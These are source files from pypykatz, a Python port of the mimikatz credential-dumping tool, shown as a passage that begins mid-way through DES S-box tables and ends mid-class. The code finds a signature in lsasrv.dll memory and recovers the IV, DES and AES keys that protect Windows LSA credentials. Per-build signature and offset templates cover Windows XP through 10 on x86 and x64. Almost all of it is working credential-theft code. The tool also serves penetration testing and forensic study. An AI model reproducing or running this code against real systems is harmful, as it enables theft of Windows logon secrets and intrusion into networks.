258 0x00200000, 0x80002040, 0x80200040, 0x00000000, 0x00002000, 0x00000040, 0x80202000, 0x80200040, 0x80202040, 0x80200000, 0x80000000, 0x00002040, 0x00000040, 0x00202000, 0x00202040, 0x80002000,
259 0x00002040, 0x80000000, 0x80002000, 0x00202040, 0x80202000, 0x00200040, 0x00000000, 0x80002000, 0x80000000, 0x00002000, 0x80200040, 0x00200000, 0x00200040, 0x80202040, 0x00202000, 0x00000040,
260 0x80202040, 0x00202000, 0x00200000, 0x80002040, 0x80000040, 0x80200000, 0x00202040, 0x00000000, 0x00002000, 0x80000040, 0x80002040, 0x80202000, 0x80200000, 0x00002040, 0x00000040, 0x80200040,
261 ],
262 [
263 0x00004000, 0x00000200, 0x01000200, 0x01000004, 0x01004204, 0x00004004, 0x00004200, 0x00000000, 0x01000000, 0x01000204, 0x00000204, 0x01004000, 0x00000004, 0x01004200, 0x01004000, 0x00000204,
264 0x01000204, 0x00004000, 0x00004004, 0x01004204, 0x00000000, 0x01000200, 0x01000004, 0x00004200, 0x01004004, 0x00004204, 0x01004200, 0x00000004, 0x00004204, 0x01004004, 0x00000200, 0x01000000,
265 0x00004204, 0x01004000, 0x01004004, 0x00000204, 0x00004000, 0x00000200, 0x01000000, 0x01004004, 0x01000204, 0x00004204, 0x00004200, 0x00000000, 0x00000200, 0x01000004, 0x00000004, 0x01000200,
266 0x00000000, 0x01000204, 0x01000200, 0x00004200, 0x00000204, 0x00004000, 0x01004204, 0x01000000, 0x01004200, 0x00000004, 0x00004004, 0x01004204, 0x01000004, 0x01004200, 0x01004000, 0x00004004,
267 ],
268 [
269 0x20800080, 0x20820000, 0x00020080, 0x00000000, 0x20020000, 0x00800080, 0x20800000, 0x20820080, 0x00000080, 0x20000000, 0x00820000, 0x00020080, 0x00820080, 0x20020080, 0x20000080, 0x20800000,
270 0x00020000, 0x00820080, 0x00800080, 0x20020000, 0x20820080, 0x20000080, 0x00000000, 0x00820000, 0x20000000, 0x00800000, 0x20020080, 0x20800080, 0x00800000, 0x00020000, 0x20820000, 0x00000080,
271 0x00800000, 0x00020000, 0x20000080, 0x20820080, 0x00020080, 0x20000000, 0x00000000, 0x00820000, 0x20800080, 0x20020080, 0x20020000, 0x00800080, 0x20820000, 0x00000080, 0x00800080, 0x20020000,
272 0x20820080, 0x00800000, 0x20800000, 0x20000080, 0x00820000, 0x00020080, 0x20020080, 0x20800000, 0x00000080, 0x20820000, 0x00820080, 0x00000000, 0x20000000, 0x20800080, 0x00020000, 0x00820080,
273 ],
274 ]
275
276 def F(L, R, keya):
277 Ta = keya[0] ^ R
278 Tb = keya[1] ^ R
279 Tb = ror32(Tb, 4)
280 L ^= SymCryptDesSpbox[0][ (Ta & 0xfc) // 4]
281 L ^= SymCryptDesSpbox[1][ (Tb & 0xfc) // 4]
282 L ^= SymCryptDesSpbox[2][((Ta>> 8)& 0xfc)//4]
283 L ^= SymCryptDesSpbox[3][((Tb>> 8)& 0xfc)//4]
284 L ^= SymCryptDesSpbox[4][((Ta>>16)& 0xfc)//4]
285 L ^= SymCryptDesSpbox[5][((Tb>>16)& 0xfc)//4]
286 L ^= SymCryptDesSpbox[6][((Ta>>24)& 0xfc)//4]
287 L ^= SymCryptDesSpbox[7][((Tb>>24)& 0xfc)//4]
288 return L, R
289
290
291 def rol32(n, d):
292 return ((n << d)|(n >> (32 - d))) & 0xFFFFFFFF
293
294 def ror32(n, d):
295 return ((n >> d)|(n << (32 - d))) & 0xFFFFFFFF
296
297 def xor(d1, d2):
298 return bytes(a ^ b for (a, b) in zip(d1, d2))
299
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz import logger
8 from pypykatz.commons.common import hexdump
9 from pypykatz.crypto.des import triple_des, CBC
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
12
13 class LsaDecryptor_NT6(PackageDecryptor):
14 def __init__(self, reader, decryptor_template, sysinfo):
15 super().__init__('LsaDecryptor', None, sysinfo, reader)
16 self.decryptor_template = decryptor_template
17 self.iv = None
18 self.aes_key = None
19 self.des_key = None
20
21 self.acquire_crypto_material()
22
23 def acquire_crypto_material(self):
24 self.log('Acquireing crypto stuff...')
25 sigpos = self.find_signature()
26 self.reader.move(sigpos)
27 data = self.reader.peek(0x50)
28 self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos))
29 self.iv = self.get_IV(sigpos)
30 self.des_key = self.get_des_key(sigpos)
31 self.aes_key = self.get_aes_key(sigpos)
32
33 def get_des_key(self, pos):
34 self.log('Acquireing DES key...')
35 return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr)
36
37 def get_aes_key(self, pos):
38 self.log('Acquireing AES key...')
39 return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr)
40
41 def find_signature(self):
42 self.log('Looking for main struct signature in memory...')
43 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
44 if len(fl) == 0:
45 logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
46 raise Exception('LSA signature not found!')
47
48 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
49 self.log('Selecting first one @ 0x%08x' % fl[0])
50 return fl[0]
51
52 def get_IV(self, pos):
53 self.log('Reading IV')
54 #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr))
55 ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr)
56 self.log('IV pointer takes us to 0x%08x' % ptr_iv)
57 self.reader.move(ptr_iv)
58 data = self.reader.read(self.decryptor_template.key_pattern.IV_length)
59 self.log('IV data: %s' % hexdump(data))
60 return data
61
62 def get_key(self, pos, key_offset):
63 ptr_key = self.reader.get_ptr_with_offset(pos + key_offset)
64 self.log('key handle pointer is @ 0x%08x' % ptr_key)
65 ptr_key = self.reader.get_ptr(ptr_key)
66 self.log('key handle is @ 0x%08x' % ptr_key)
67 self.reader.move(ptr_key)
68 data = self.reader.peek(0x50)
69 self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key))
70 kbhk = self.decryptor_template.key_handle_struct(self.reader)
71 if kbhk.verify():
72 ptr_key = kbhk.ptr_key.value
73 self.reader.move(ptr_key)
74 data = self.reader.peek(0x50)
75 self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key))
76 kbk = kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct)
77 self.log('HARD_KEY SIZE: 0x%x' % kbk.size)
78 if kbk.verify():
79 self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data))
80 return kbk.hardkey.data
81
82 def decrypt(self, encrypted):
83 # TODO: NT version specific, move from here in subclasses.
84 cleartext = b''
85 size = len(encrypted)
86 if size:
87 if size % 8:
88 if not self.aes_key or not self.iv:
89 return cleartext
90 cipher = AESModeOfOperationCBC(self.aes_key, iv = self.iv)
91 n = 16
92 for block in [encrypted[i:i+n] for i in range(0, len(encrypted), n)]: #terrible, terrible workaround
93 cleartext += cipher.decrypt(block)
94 else:
95 if not self.des_key or not self.iv:
96 return cleartext
97 #cipher = DES3.new(self.des_key, DES3.MODE_CBC, self.iv[:8])
98 cipher = triple_des(self.des_key, CBC, self.iv[:8])
99 cleartext = cipher.decrypt(encrypted)
100 return cleartext
101
102 def dump(self):
103 self.log('Recovered LSA encryption keys\n')
104 self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex()))
105 self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex()))
106 self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex()))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from minidump.win_datatypes import POINTER
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.lsadecryptor.package_commons import PackageTemplate
9
10 class LsaTemplate_NT5(PackageTemplate):
11 def __init__(self):
12 self.signature = None
13 self.feedback = None
14 self.randomkey_ptr = None
15 self.DESXKey_ptr = None
16 self.key_struct = None
17
18
19 @staticmethod
20 def get_template_brute(sysinfo):
21 raise Exception('Template guessing is not applicable for NT5')
22
23
24 @staticmethod
25 def get_template(sysinfo):
26 if sysinfo.architecture == KatzSystemArchitecture.X86:
27 if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value:
28 return templates['nt5']['x86']['1']
29 else:
30 raise Exception('NT 6 is in another castle!')
31
32 elif sysinfo.architecture == KatzSystemArchitecture.X64:
33 if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value:
34 return templates['nt5']['x64']['1']
35 else:
36 raise Exception('NT 6 is in another castle!')
37
38 class SYMCRYPT_NT5_DES_EXPANDED_KEY:
39 def __init__(self, reader):
40 self.roundKey = []
41 for _ in range(16):
42 r = int.from_bytes(reader.read(4), 'little', signed = False)
43 l = int.from_bytes(reader.read(4), 'little', signed = False)
44 self.roundKey.append([r, l])
45
46 def __str__(self):
47 t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n'
48 for i, x in enumerate(self.roundKey):
49 t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1]))
50 return t
51
52 class SYMCRYPT_NT5_DESX_EXPANDED_KEY:
53 def __init__(self, reader):
54 self.inputWhitening = reader.read(8)
55 self.outputWhitening = reader.read(8)
56 self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader)
57
58 def __str__(self):
59 t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n'
60 t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex())
61 t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex())
62 t += 'desKey : %s\r\n' % (str(self.desKey))
63 return t
64
65 class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER):
66 def __init__(self, reader):
67 super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY)
68
69 class LSA_x64_nt5_1(LsaTemplate_NT5):
70 def __init__(self):
71 LsaTemplate_NT5.__init__(self)
72 self.arch = 'x64'
73 self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3'
74 self.nt_major = '5'
75 self.feedback_ptr_offset = -67
76 self.randomkey_ptr_offset = -17
77 self.desx_key_ptr_offset = -35
78 self.old_feedback_offset = 29
79 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY
80
81 class LSA_x86_nt5_1(LsaTemplate_NT5):
82 def __init__(self):
83 LsaTemplate_NT5.__init__(self)
84 self.arch = 'x86'
85 self.nt_major = '5'
86 self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3'
87 self.feedback_ptr_offset = 25
88 self.randomkey_ptr_offset = 9
89 self.desx_key_ptr_offset = -4
90 self.old_feedback_offset = 29
91 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY
92
93
94 templates = {
95 'nt5' : {
96 'x86': {
97 '1' : LSA_x86_nt5_1(),
98 },
99 'x64': {
100 '1' : LSA_x64_nt5_1(),
101 }
102 }
103 }
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from minidump.win_datatypes import ULONG, PVOID, POINTER
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
9 from pypykatz.lsadecryptor.package_commons import PackageTemplate
10
11 class LsaTemplate_NT6(PackageTemplate):
12 def __init__(self):
13 super().__init__('LSA Decryptor')
14 self.key_pattern = None
15 self.key_handle_struct = None
16 self.key_struct = None
17 self.hard_key_struct = KIWI_HARD_KEY
18 self.nt_major = '6'
19
20
21 @staticmethod
22 def get_template_brute(sysinfo):
23 if sysinfo.architecture == KatzSystemArchitecture.X86:
24 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
25 raise Exception('NT 5 is not yet supported!')
26 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
27 raise Exception('NT 5 is not yet supported!')
28 else:
29 for key in templates['nt6']['x86']:
30 yield templates['nt6']['x86'][key]
31
32 elif sysinfo.architecture == KatzSystemArchitecture.X64:
33 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
34 raise Exception('NT 5 is not yet supported!')
35 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
36 raise Exception('NT 5 is not yet supported!')
37 else:
38 for key in templates['nt6']['x64']:
39 yield templates['nt6']['x64'][key]
40
41
42 @staticmethod
43 def get_template(sysinfo):
44 template = LsaTemplate_NT6()
45
46 if sysinfo.architecture == KatzSystemArchitecture.X86:
47 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
48 raise Exception("Maybe implemented later")
49
50 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
51 template.nt_major = '5'
52 template = templates['nt5']['x86']['1']
53
54 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
55 #1
56 template = templates['nt6']['x86']['1']
57 #key_pattern = LSADecyptorKeyPattern()
58 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
59 #key_pattern.IV_length = 16
60 #key_pattern.offset_to_IV_ptr = 5
61 #key_pattern.offset_to_DES_key_ptr = -76
62 #key_pattern.offset_to_AES_key_ptr = -21
63 #
64 #template.key_pattern = key_pattern
65 #template.key_struct = KIWI_BCRYPT_KEY
66 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
67
68 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
69 #2
70 template = templates['nt6']['x86']['2']
71 #key_pattern = LSADecyptorKeyPattern()
72 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
73 #key_pattern.IV_length = 16
74 #key_pattern.offset_to_IV_ptr = 5
75 #key_pattern.offset_to_DES_key_ptr = -76
76 #key_pattern.offset_to_AES_key_ptr = -21
77 #
78 #template.key_pattern = key_pattern
79 #template.key_struct = KIWI_BCRYPT_KEY
80 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
81
82 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
83 #3
84 template = templates['nt6']['x86']['3']
85 #key_pattern = LSADecyptorKeyPattern()
86 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
87 #key_pattern.IV_length = 16
88 #key_pattern.offset_to_IV_ptr = 5
89 #key_pattern.offset_to_DES_key_ptr = -69
90 #key_pattern.offset_to_AES_key_ptr = -18
91 #
92 #template.key_pattern = key_pattern
93 #template.key_struct = KIWI_BCRYPT_KEY8
94 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
95
96 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
97 #4
98 template = templates['nt6']['x86']['4']
99 #key_pattern = LSADecyptorKeyPattern()
100 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
101 #key_pattern.IV_length = 16
102 #key_pattern.offset_to_IV_ptr = 5
103 #
104 #key_pattern.offset_to_DES_key_ptr = -69
105 #key_pattern.offset_to_AES_key_ptr = -18
106 #
107 #template.key_pattern = key_pattern
108 #template.key_struct = KIWI_BCRYPT_KEY81
109 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
110
111 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
112 #5
113 template = templates['nt6']['x86']['5']
114
115 #key_pattern = LSADecyptorKeyPattern()
116 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
117 #key_pattern.IV_length = 16
118 #key_pattern.offset_to_IV_ptr = 5
119 #key_pattern.offset_to_DES_key_ptr = -79
120 #key_pattern.offset_to_AES_key_ptr = -22
121 #
122 #template.key_pattern = key_pattern
123 #template.key_struct = KIWI_BCRYPT_KEY81
124 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
125
126
127 elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
128 #6
129 template = templates['nt6']['x86']['6']
130 #key_pattern = LSADecyptorKeyPattern()
131 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
132 #key_pattern.IV_length = 16
133 #key_pattern.offset_to_IV_ptr = 5
134 #key_pattern.offset_to_DES_key_ptr = -79
135 #key_pattern.offset_to_AES_key_ptr = -22
136 #
137 #template.key_pattern = key_pattern
138 #template.key_struct = KIWI_BCRYPT_KEY81
139 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
140
141 elif sysinfo.architecture == KatzSystemArchitecture.X64:
142
143 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
144 raise Exception("Maybe implemented later")
145
146 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
147 raise Exception("Maybe implemented later")
148
149 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
150 #vista
151 #1
152 template = templates['nt6']['x64']['1']
153 #key_pattern = LSADecyptorKeyPattern()
154 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
155 #key_pattern.IV_length = 16
156 #key_pattern.offset_to_IV_ptr = 63
157 #key_pattern.offset_to_DES_key_ptr = -69
158 #key_pattern.offset_to_AES_key_ptr = 25
159 #
160 #template.key_pattern = key_pattern
161 #template.key_struct = KIWI_BCRYPT_KEY
162 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
163
164 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
165 #win 7
166 #2
167 template = templates['nt6']['x64']['2']
168
169 #key_pattern = LSADecyptorKeyPattern()
170 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
171 #key_pattern.IV_length = 16
172 #key_pattern.offset_to_IV_ptr = 59
173 #key_pattern.offset_to_DES_key_ptr = -61
174 #key_pattern.offset_to_AES_key_ptr = 25
175 #
176 #template.key_pattern = key_pattern
177 #template.key_struct = KIWI_BCRYPT_KEY
178 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
179
180 elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
181 #win 8 and blue
182 #3
183 #key_pattern = LSADecyptorKeyPattern()
184 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
185 #key_pattern.IV_length = 16
186 #key_pattern.offset_to_IV_ptr = 62
187 #key_pattern.offset_to_DES_key_ptr = -70
188 #key_pattern.offset_to_AES_key_ptr = 23
189
190 if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
191 template = templates['nt6']['x64']['3']
192 #win8
193 #3
194 #template.key_pattern = key_pattern
195 #template.key_struct = KIWI_BCRYPT_KEY8
196 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
197
198 else:
199 template = templates['nt6']['x64']['4']
200 #4
201 #win blue
202 #template.key_pattern = key_pattern
203 #template.key_struct = KIWI_BCRYPT_KEY81
204 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
205
206
207 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
208 template = templates['nt6']['x64']['5']
209 #5
210 #key_pattern = LSADecyptorKeyPattern()
211 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
212 #key_pattern.IV_length = 16
213 #key_pattern.offset_to_IV_ptr = 61
214 #key_pattern.offset_to_DES_key_ptr = -73
215 #key_pattern.offset_to_AES_key_ptr = 16
216 #
217 #template.key_pattern = key_pattern
218 #template.key_struct = KIWI_BCRYPT_KEY81
219 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
220
221
222 #elif sysinfo.buildnumber <= WindowsBuild.WIN_10_1809.value:
223 else:
224 template = templates['nt6']['x64']['6']
225 #1809
226 #6
227 #key_pattern = LSADecyptorKeyPattern()
228 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
229 #key_pattern.IV_length = 16
230 #key_pattern.offset_to_IV_ptr = 67
231 #key_pattern.offset_to_DES_key_ptr = -89
232 #key_pattern.offset_to_AES_key_ptr = 16
233 #
234 #template.key_pattern = key_pattern
235 #template.key_struct = KIWI_BCRYPT_KEY81
236 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
237
238 else:
239 raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
240
241
242 template.log_template('key_handle_struct', template.key_handle_struct)
243 template.log_template('key_struct', template.key_struct)
244 template.log_template('hard_key_struct', template.hard_key_struct)
245
246 return template
247
248
249 class LSADecyptorKeyPattern:
250 def __init__(self):
251 self.signature = None #byte pattern that identifies the location of the key structures (AES and DES)
252 self.offset_to_IV_ptr = None #offset from pattern that gives the pointer to the IV (applicabe for both keys, kept sepparately from key structures)
253 self.IV_length = None #length of the IV, always 16 from NT6
254 self.offset_to_AES_key_ptr = None #offset from signature that gives the pointer to the DES key structure
255 self.offset_to_DES_key_ptr = None #offset from signature that gives the pointer to the AES key structure
256
257 class KIWI_HARD_KEY:
258 def __init__(self, reader):
259 self.cbSecret = ULONG(reader).value
260 self.data = reader.read(self.cbSecret)
261
262 class KIWI_BCRYPT_KEY:
263 def __init__(self, reader):
264 self.size = ULONG(reader).value
265 self.tag = reader.read(4)
266 self.type = ULONG(reader).value
267 self.unk0 = ULONG(reader).value
268 self.unk1 = ULONG(reader).value
269 self.unk2 = ULONG(reader).value
270 self.hardkey = KIWI_HARD_KEY(reader)
271
272 def verify(self):
273 return self.tag == b'KSSM'
274
275 class KIWI_BCRYPT_KEY8:
276 def __init__(self, reader):
277 self.size = ULONG(reader).value
278 self.tag = reader.read(4) # 'MSSK'
279 self.type = ULONG(reader).value
280 self.unk0 = ULONG(reader).value
281 self.unk1 = ULONG(reader).value
282 self.unk2 = ULONG(reader).value
283 self.unk3 = ULONG(reader).value
284 reader.align()
285 self.unk4 = PVOID(reader).value # before, align in x64
286 self.hardkey = KIWI_HARD_KEY(reader)
287
288 def verify(self):
289 return self.tag == b'KSSM'
290
291 class KIWI_BCRYPT_KEY81:
292 def __init__(self, reader):
293 self.size = ULONG(reader).value
294 self.tag = reader.read(4) # 'MSSK'
295 self.type = ULONG(reader).value
296 self.unk0 = ULONG(reader).value
297 self.unk1 = ULONG(reader).value
298 self.unk2 = ULONG(reader).value
299 self.unk3 = ULONG(reader).value
300 self.unk4 = ULONG(reader).value
301 reader.align()
302 self.unk5 = PVOID(reader).value #before, align in x64
303 self.unk6 = ULONG(reader).value
304 self.unk7 = ULONG(reader).value
305 self.unk8 = ULONG(reader).value
306 self.unk9 = ULONG(reader).value
307 self.hardkey = KIWI_HARD_KEY(reader)
308
309 def verify(self):
310 return self.tag == b'KSSM'
311
312
313 class PKIWI_BCRYPT_KEY(POINTER):
314 def __init__(self, reader):
315 super().__init__(reader, KIWI_BCRYPT_KEY)
316
317 class KIWI_BCRYPT_HANDLE_KEY:
318 def __init__(self, reader):
319 self.size = ULONG(reader).value
320 self.tag = reader.read(4) # 'UUUR'
321 self.hAlgorithm = PVOID(reader).value
322 self.ptr_key = PKIWI_BCRYPT_KEY(reader)
323 self.unk0 = PVOID(reader).value
324
325 def verify(self):
326 return self.tag == b'RUUU'
327
328 class LSA_x64_1(LsaTemplate_NT6):
329 def __init__(self):
330 LsaTemplate_NT6.__init__(self)
331 self.key_pattern = LSADecyptorKeyPattern()
332 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
333 self.key_pattern.IV_length = 16
334 self.key_pattern.offset_to_IV_ptr = 63
335 self.key_pattern.offset_to_DES_key_ptr = -69
336 self.key_pattern.offset_to_AES_key_ptr = 25
337
338 self.key_struct = KIWI_BCRYPT_KEY
339 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
340
341 class LSA_x64_2(LsaTemplate_NT6):
342 def __init__(self):
343 LsaTemplate_NT6.__init__(self)
344 self.key_pattern = LSADecyptorKeyPattern()
345 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
346 self.key_pattern.IV_length = 16
347 self.key_pattern.offset_to_IV_ptr = 59
348 self.key_pattern.offset_to_DES_key_ptr = -61
349 self.key_pattern.offset_to_AES_key_ptr = 25
350
351 self.key_struct = KIWI_BCRYPT_KEY
352 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
353
354
355 class LSA_x64_3(LsaTemplate_NT6):
356 def __init__(self):
357 LsaTemplate_NT6.__init__(self)
358 self.key_pattern = LSADecyptorKeyPattern()
359 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
360 self.key_pattern.IV_length = 16
361 self.key_pattern.offset_to_IV_ptr = 62
362 self.key_pattern.offset_to_DES_key_ptr = -70
363 self.key_pattern.offset_to_AES_key_ptr = 23
364
365 self.key_struct = KIWI_BCRYPT_KEY8
366 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
367
368 class LSA_x64_4(LsaTemplate_NT6):
369 def __init__(self):
370 LsaTemplate_NT6.__init__(self)
371 self.key_pattern = LSADecyptorKeyPattern()
372 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
373 self.key_pattern.IV_length = 16
374 self.key_pattern.offset_to_IV_ptr = 62
375 self.key_pattern.offset_to_DES_key_ptr = -70
376 self.key_pattern.offset_to_AES_key_ptr = 23
377
378 self.key_struct = KIWI_BCRYPT_KEY81
379 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
380
381 class LSA_x64_5(LsaTemplate_NT6):
382 def __init__(self):
383 LsaTemplate_NT6.__init__(self)
384 self.key_pattern = LSADecyptorKeyPattern()
385 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
386 self.key_pattern.IV_length = 16
387 self.key_pattern.offset_to_IV_ptr = 61
388 self.key_pattern.offset_to_DES_key_ptr = -73
389 self.key_pattern.offset_to_AES_key_ptr = 16
390
391 self.key_struct = KIWI_BCRYPT_KEY81
392 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
393
394 class LSA_x64_6(LsaTemplate_NT6):
395 def __init__(self):
396 LsaTemplate_NT6.__init__(self)
397 self.key_pattern = LSADecyptorKeyPattern()
398 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
399 self.key_pattern.IV_length = 16
400 self.key_pattern.offset_to_IV_ptr = 67
401 self.key_pattern.offset_to_DES_key_ptr = -89
402 self.key_pattern.offset_to_AES_key_ptr = 16
403
404 self.key_struct = KIWI_BCRYPT_KEY81
405 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
406
407 class LSA_x86_1(LsaTemplate_NT6):
408 def __init__(self):
409 LsaTemplate_NT6.__init__(self)
410 self.key_pattern = LSADecyptorKeyPattern()
411 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
412 self.key_pattern.IV_length = 16
413 self.key_pattern.offset_to_IV_ptr = 5
414 self.key_pattern.offset_to_DES_key_ptr = -76
415 self.key_pattern.offset_to_AES_key_ptr = -21
416
417 self.key_struct = KIWI_BCRYPT_KEY
418 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
419
420 class LSA_x86_2(LsaTemplate_NT6):
421 def __init__(self):
422 LsaTemplate_NT6.__init__(self)
423 self.key_pattern = LSADecyptorKeyPattern()
424 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
425 self.key_pattern.IV_length = 16
426 self.key_pattern.offset_to_IV_ptr = 5
427 self.key_pattern.offset_to_DES_key_ptr = -76
428 self.key_pattern.offset_to_AES_key_ptr = -21
429
430 self.key_struct = KIWI_BCRYPT_KEY
431 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
432
433 class LSA_x86_3(LsaTemplate_NT6):
434 def __init__(self):
435 LsaTemplate_NT6.__init__(self)
436 self.key_pattern = LSADecyptorKeyPattern()
437 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
438 self.key_pattern.IV_length = 16
439 self.key_pattern.offset_to_IV_ptr = 5
440 self.key_pattern.offset_to_DES_key_ptr = -69
441 self.key_pattern.offset_to_AES_key_ptr = -18
442
443 self.key_struct = KIWI_BCRYPT_KEY8
444 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
445
446 class LSA_x86_4(LsaTemplate_NT6):
447 def __init__(self):
448 LsaTemplate_NT6.__init__(self)
449 self.key_pattern = LSADecyptorKeyPattern()
450 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
451 self.key_pattern.IV_length = 16
452 self.key_pattern.offset_to_IV_ptr = 5
453 self.key_pattern.offset_to_DES_key_ptr = -69
454 self.key_pattern.offset_to_AES_key_ptr = -18
455
456 self.key_struct = KIWI_BCRYPT_KEY81
457 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
458
459 class LSA_x86_5(LsaTemplate_NT6):
460 def __init__(self):
461 LsaTemplate_NT6.__init__(self)
462 self.key_pattern = LSADecyptorKeyPattern()
463 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
464 self.key_pattern.IV_length = 16
465 self.key_pattern.offset_to_IV_ptr = 5
